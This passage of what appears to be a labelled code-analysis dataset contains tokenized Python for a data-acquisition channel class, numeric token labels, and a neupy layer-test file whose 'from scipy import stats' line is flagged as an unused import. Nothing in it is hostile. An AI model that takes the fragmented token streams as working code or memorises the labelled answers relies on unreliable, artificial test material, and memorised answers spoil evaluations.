"'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "err_", "=_", "fun_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Channel_", "(_", "\\u", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "range", "\\u", "high_", "._", "setter_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "range", "\\u", "high_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "value_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fun_", "=_", "self_", "._", "\\u\\u", "get", "\\u", "fun_", "(_", "'", "Reset", "{}", "Rn", "g", "Hig", "h", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "err_", "=_", "fun_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fun_", "=_", "self_", "._", "\\u\\u", "get", "\\u", "fun_", "(_", "'", "Set", "{}", "Rn", "g", "Hig", "h", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "err_", "=_", "fun_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Channel_", "(_", "\\u", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "range", "\\u", "low_", "._", "setter_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "range", "\\u", "low_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "value_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fun_", "=_", "self_", "._", "\\u\\u", "get", "\\u", "fun_", "(_", "'", "Reset", "{}", "Rn", "g", "Lo", "w", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "err_", "=_", "fun_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fun_", "=_", "self_", "._", "\\u\\u", "get", "\\u", "fun_", "(_", "'", "Set", "{}", "Rn", "g", "Lo", "w", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "err_", "=_", "fun_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Channel_", "(_", "\\u", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "gain_", "._", "setter_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "gain_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "value_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fun_", "=_", "self_", "._", "\\u\\u", "get", "\\u", "fun_", "(_", "'", "Reset", "{}", "Gain", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "err_", "=_", "fun_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fun_", "=_", "self_", "._", "\\u\\u", "get", "\\u", "fun_", "(_", "'", "Set", "{}", "Gain", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "err_", "=_", "fun_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Channel_", "(_", "\\u", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "auto", "\\u", "zero", "\\u", "mode_", "._", "setter_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "auto", "\\u", "zero", "\\u", "mode_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "value_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fun_", "=_", "self_", "._", "\\u\\u", "get", "\\u", "fun_", "(_", "'", "Reset", "{}", "Auto", "Zero", "Mode", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "err_", "=_", "fun_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fun_", "=_", "self_", "._", "\\u\\u", "get", "\\u", "fun_", "(_", "'", "Set", "{}", "Auto", "Zero", "Mode", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "err_", "=_", "fun_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Channel_", "(_", "\\u", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "data\\u", "transfer", "\\u", "mode_", "._", "setter_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "data\\u", "transfer", "\\u", "mode_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "value_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fun_", "=_", "self_", "._", "\\u\\u", "get", "\\u", "fun_", "(_", "'", "Reset", "{}", "Data", "Xf", "er", "Me", "ch", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "err_", "=_", "fun_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fun_", "=_", "self_", "._", "\\u\\u", "get", "\\u", "fun_", "(_", "'", "Set", "{}", "Data", "Xf", "er", "Me", "ch", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "err_", "=_", "fun_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Channel_", "(_", "\\u", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "duplicat", "e\\u", "count", "\\u", "prevent", "ion", "\\u", "enabled_", "._", "setter_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "duplicat", "e\\u", "count", "\\u", "prevent", "ion", "\\u", "enabled_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "value_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "err_", "=_", "self_", "._", "lib_", "._", "Reset", "CID", "up", "Count", "Prev", "ent_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "err_", "=_", "self_", "._", "lib_", "._", "Set", "CID", "up", "Count", "Prev", "ent_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Channel_", "(_", "\\u", "Base_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "time", "base", "\\u", "rate_", "._", "setter_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "time", "base", "\\u", "rate_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "value_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "err_", "=_", "self_", "._", "lib_", "._", "Reset", "CI", "Ct", "r", "Time", "base", "Rate_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "err_", "=_", "self_", "._", "lib_", "._", "Set", "CI", "Ct", "r", "Time", "base", "Rate_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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0, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
itdxer/neupy/tests/layers/test_layers.py
[ { "content": "import math\nimport unittest\n\nfrom scipy import stats\nimport numpy as np\nimport theano\nimport theano.tensor as T\n\nfrom neupy.utils import asfloat\nfrom neupy import layers\nfrom neupy.algorithms import GradientDescent\nfrom neupy.layers.connections import NetworkConnectionError\nfrom neupy.layers import *\n\nfrom base import BaseTestCase\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class LayersBasicsTestCase(BaseTestCase):\n\n\n\n\n", "metadata": "root.LayersBasicsTestCase", "header": "['module', '___EOS___']", "index": 17 }, { "content": " def test_without_output_layer(self):\n with self.assertRaises(NetworkConnectionError):\n GradientDescent(layers.Sigmoid(10) > layers.Sigmoid(1))", "metadata": "root.LayersBasicsTestCase.test_without_output_layer", "header": "['class', 'LayersBasicsTestCase', '(', 'BaseTestCase', ')', ':', '___EOS___']", "index": 18 }, { "content": " def test_list_of_layers(self):\n bpnet = GradientDescent([Sigmoid(2), Sigmoid(3),\n Sigmoid(1), Output(10)])\n self.assertEqual(\n [layer.size for layer in bpnet.all_layers],\n [2, 3, 1, 10]\n )", "metadata": "root.LayersBasicsTestCase.test_list_of_layers", "header": "['class', 'LayersBasicsTestCase', '(', 'BaseTestCase', ')', ':', '___EOS___']", "index": 22 }, { "content": " def test_layers_iteratinos(self):\n network = GradientDescent((2, 2, 1))\n\n layers = list(network.all_layers)\n output_layer = layers.pop()\n\n self.assertIsNone(output_layer.relate_to_layer)\n for layer in layers:\n self.assertIsNotNone(layer.relate_to_layer)", "metadata": "root.LayersBasicsTestCase.test_layers_iteratinos", "header": "['class', 'LayersBasicsTestCase', '(', 'BaseTestCase', ')', ':', '___EOS___']", "index": 30 }, { "content": " def test_connection_initializations(self):\n possible_connections = (\n (2, 3, 1),\n [Sigmoid(2), Tanh(3), Output(1)],\n Relu(2) > Tanh(10) > Output(1),\n )\n\n for connection in possible_connections:\n network = GradientDescent(connection)\n self.assertEqual(len(network.all_layers), 3)", "metadata": "root.LayersBasicsTestCase.test_connection_initializations", "header": "['class', 'LayersBasicsTestCase', '(', 'BaseTestCase', ')', ':', '___EOS___']", "index": 40 }, { "content": " @unittest.skip(\"Not ready yet\")\n def test_recurrent_connections(self):\n inp = Sigmoid(2)\n hd = [Sigmoid(2), Sigmoid(2)]\n out = Output(1)\n\n GradientDescent(\n connection=(\n inp > hd[0] > out,\n hd[0] > hd[1],\n hd[1] > hd[0],\n )\n )", "metadata": "root.LayersBasicsTestCase.test_recurrent_connections", "header": "['class', 'LayersBasicsTestCase', '(', 'BaseTestCase', ')', ':', '___EOS___']", "index": 51 }, { "content": " def test_activation_layers_without_size(self):\n input_data = np.array([1, 2, -1, 10])\n expected_output = np.array([1, 2, 0, 10])\n\n layer = layers.Relu()\n actual_output = layer.output(input_data)\n\n np.testing.assert_array_equal(actual_output, expected_output)", "metadata": "root.LayersBasicsTestCase.test_activation_layers_without_size", "header": "['class', 'LayersBasicsTestCase', '(', 'BaseTestCase', ')', ':', '___EOS___']", "index": 65 }, { "content": "class HiddenLayersOperationsTestCase(BaseTestCase):\n\n\n\n\n\n\n\n\n", "metadata": "root.HiddenLayersOperationsTestCase", "header": "['module', '___EOS___']", "index": 76 }, { "content": " def test_sigmoid_layer(self):\n layer1 = Sigmoid(1)\n self.assertGreater(1, layer1.activation_function(1).eval())", "metadata": "root.HiddenLayersOperationsTestCase.test_sigmoid_layer", "header": "['class', 'HiddenLayersOperationsTestCase', '(', 'BaseTestCase', ')', ':', '___EOS___']", "index": 77 }, { "content": " def test_hard_sigmoid_layer(self):\n layer1 = HardSigmoid(6)\n\n test_value = asfloat(np.array([[-3, -2, -1, 0, 1, 2]]))\n expected = np.array([[0, 0.1, 0.3, 0.5, 0.7, 0.9]])\n\n x = T.matrix()\n output = layer1.activation_function(x).eval({x: test_value})\n\n np.testing.assert_array_almost_equal(output, expected)", "metadata": "root.HiddenLayersOperationsTestCase.test_hard_sigmoid_layer", "header": "['class', 'HiddenLayersOperationsTestCase', '(', 'BaseTestCase', ')', ':', '___EOS___']", "index": 81 }, { "content": " def test_step_layer(self):\n layer1 = Step(1)\n\n input_vector = theano.shared(np.array([-10, -1, 0, 1, 10]))\n expected = np.array([0, 0, 0, 1, 1])\n output = layer1.activation_function(input_vector).eval()\n np.testing.assert_array_equal(output, expected)", "metadata": "root.HiddenLayersOperationsTestCase.test_step_layer", "header": "['class', 'HiddenLayersOperationsTestCase', '(', 'BaseTestCase', ')', ':', '___EOS___']", "index": 92 }, { "content": " def test_linear_layer(self):\n layer = Linear(1)\n self.assertEqual(layer.activation_function(1), 1)", "metadata": "root.HiddenLayersOperationsTestCase.test_linear_layer", "header": "['class', 'HiddenLayersOperationsTestCase', '(', 'BaseTestCase', ')', ':', '___EOS___']", "index": 100 }, { "content": " def test_tanh_layer(self):\n layer1 = Tanh(1)\n self.assertGreater(1, layer1.activation_function(1).eval())", "metadata": "root.HiddenLayersOperationsTestCase.test_tanh_layer", "header": "['class', 'HiddenLayersOperationsTestCase', '(', 'BaseTestCase', ')', ':', '___EOS___']", "index": 104 }, { "content": " def test_relu_layer(self):\n layer = Relu(1)\n self.assertEqual(0, layer.activation_function(-10))\n self.assertEqual(0, layer.activation_function(0))\n self.assertEqual(10, layer.activation_function(10))", "metadata": "root.HiddenLayersOperationsTestCase.test_relu_layer", "header": "['class', 'HiddenLayersOperationsTestCase', '(', 'BaseTestCase', ')', ':', '___EOS___']", "index": 108 }, { "content": " def test_softplus_layer(self):\n layer = Softplus(1)\n self.assertAlmostEqual(\n math.log(2),\n layer.activation_function(0).eval()\n )", "metadata": "root.HiddenLayersOperationsTestCase.test_softplus_layer", "header": "['class', 'HiddenLayersOperationsTestCase', '(', 'BaseTestCase', ')', ':', '___EOS___']", "index": 114 }, { "content": " def test_softmax_layer(self):\n test_input = np.array([[0.5, 0.5, 0.1]])\n\n softmax_layer = Softmax(3)\n correct_result = np.array([[0.37448695, 0.37448695, 0.25102611]])\n np.testing.assert_array_almost_equal(\n correct_result,\n softmax_layer.activation_function(test_input).eval()\n )", "metadata": "root.HiddenLayersOperationsTestCase.test_softmax_layer", "header": "['class', 'HiddenLayersOperationsTestCase', '(', 'BaseTestCase', ')', ':', '___EOS___']", "index": 121 }, { "content": " def test_dropout_layer(self):\n test_input = np.ones((50, 20))\n dropout_layer = Dropout(proba=0.5)\n\n layer_output = dropout_layer.output(test_input).eval()\n\n self.assertGreater(layer_output.sum(), 900)\n self.assertLess(layer_output.sum(), 1100)\n\n self.assertTrue(np.all(\n np.bitwise_or(layer_output == 0, layer_output == 2)\n ))", "metadata": "root.HiddenLayersOperationsTestCase.test_dropout_layer", "header": "['class', 'HiddenLayersOperationsTestCase', '(', 'BaseTestCase', ')', ':', '___EOS___']", "index": 131 }, { "content": " def test_reshape_layer(self):\n x = np.random.random((5, 4, 3, 2, 1))\n reshape_layer = Reshape()\n y = reshape_layer.output(x).eval()\n self.assertEqual(y.shape, (5, 4 * 3 * 2 * 1))", "metadata": "root.HiddenLayersOperationsTestCase.test_reshape_layer", "header": "['class', 'HiddenLayersOperationsTestCase', '(', 'BaseTestCase', ')', ':', '___EOS___']", "index": 144 } ]
[ { "span": "from scipy import stats", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 23 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "math_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "unittest_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "scipy_", "import_", "stats_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "numpy_", "as_", "np_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "theano_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "theano_", "._", "tensor_", "as_", "T_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "neu", "py_", "._", "utils_", "import_", "asf", "loat_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "neu", "py_", "import_", "layers_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "neu", "py_", "._", "algorithms_", "import_", "Grad", "ient", "Descen", "t_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "neu", "py_", "._", "layers_", "._", "connections_", "import_", "Network", "Connect", "ion", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "neu", "py_", "._", "layers_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "base_", "import_", "Base", "Test", "Case_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Layer", "s", "Basic", "s", "Test", "Case_", "(_", "Base", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Layer", "s", "Basic", "s", "Test", "Case_", "(_", "Base", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "test\\u", "with", "out", "\\u", "output", "\\u", "layer_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "self_", "._", "assert", "Raises_", "(_", "Network", "Connect", "ion", "Error_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Grad", "ient", "Descen", "t_", "(_", "layers_", "._", "Sigm", "oid_", "(_", "10_", ")_", ">_", "layers_", "._", "Sigm", "oid_", "(_", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Layer", "s", "Basic", "s", "Test", "Case_", "(_", "Base", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "list", "\\u", "of", "\\u", "layers_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bp", "net_", "=_", "Grad", "ient", "Descen", "t_", "(_", "[_", "Sigm", "oid_", "(_", "2_", ")_", ",_", "Sigm", "oid_", "(_", "3_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Sigm", "oid_", "(_", "1_", ")_", ",_", "Output_", "(_", "10_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "layer_", "._", "size_", "for_", "layer_", "in_", "bp", "net_", "._", "all", "\\u", "layers_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "2_", ",_", "3_", ",_", "1_", ",_", "10_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Layer", "s", "Basic", "s", "Test", "Case_", "(_", "Base", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "layer", "s", "\\u", "iterati", "nos_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "network_", "=_", "Grad", "ient", "Descen", "t_", "(_", "(_", "2_", ",_", "2_", ",_", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "layers_", "=_", "list_", "(_", "network_", "._", "all", "\\u", "layers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "output", "\\u", "layer_", "=_", "layers_", "._", "pop_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Is", "None_", "(_", "output", "\\u", "layer_", "._", "relate", "\\u", "to", "\\u", "layer_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "layer_", "in_", "layers_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Is", "Not", "None_", "(_", "layer_", "._", "relate", "\\u", "to", "\\u", "layer_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Layer", "s", "Basic", "s", "Test", "Case_", "(_", "Base", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "connecti", "on", "\\u", "initialization", "s_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "possib", "le", "\\u", "connections_", "=_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "2_", ",_", "3_", ",_", "1_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "Sigm", "oid_", "(_", "2_", ")_", ",_", "Tan", "h_", "(_", "3_", ")_", ",_", "Output_", "(_", "1_", ")_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Rel", "u_", "(_", "2_", ")_", ">_", "Tan", "h_", "(_", "10_", ")_", ">_", "Output_", "(_", "1_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "connection_", "in_", "possib", "le", "\\u", "connections_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "network_", "=_", "Grad", "ient", "Descen", "t_", "(_", "connection_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "network_", "._", "all", "\\u", "layers_", ")_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Layer", "s", "Basic", "s", "Test", "Case_", "(_", "Base", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "unittest_", "._", "skip_", "(_", "\"", "Not", " ", "read", "y", " ", "ye", "t", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "recurrent", "\\u", "connections_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "inp_", "=_", "Sigm", "oid_", "(_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hd_", "=_", "[_", "Sigm", "oid_", "(_", "2_", ")_", ",_", "Sigm", "oid_", "(_", "2_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out_", "=_", "Output_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "Grad", "ient", "Descen", "t_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "connection_", "=_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "inp_", ">_", "hd_", "[_", "0_", "]_", ">_", "out_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "hd_", "[_", "0_", "]_", ">_", "hd_", "[_", "1_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "hd_", "[_", "1_", "]_", ">_", "hd_", "[_", "0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Layer", "s", "Basic", "s", "Test", "Case_", "(_", "Base", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "activation", "\\u", "layer", "s", "\\u", "with", "out", "\\u", "size_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "input", "\\u", "data_", "=_", "np_", "._", "array_", "(_", "[_", "1_", ",_", "2_", ",_", "-_", "1_", ",_", "10_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "expected", "\\u", "output_", "=_", "np_", "._", "array_", "(_", "[_", "1_", ",_", "2_", ",_", "0_", ",_", "10_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "layer_", "=_", "layers_", "._", "Rel", "u_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "actual", "\\u", "output_", "=_", "layer_", "._", "output_", 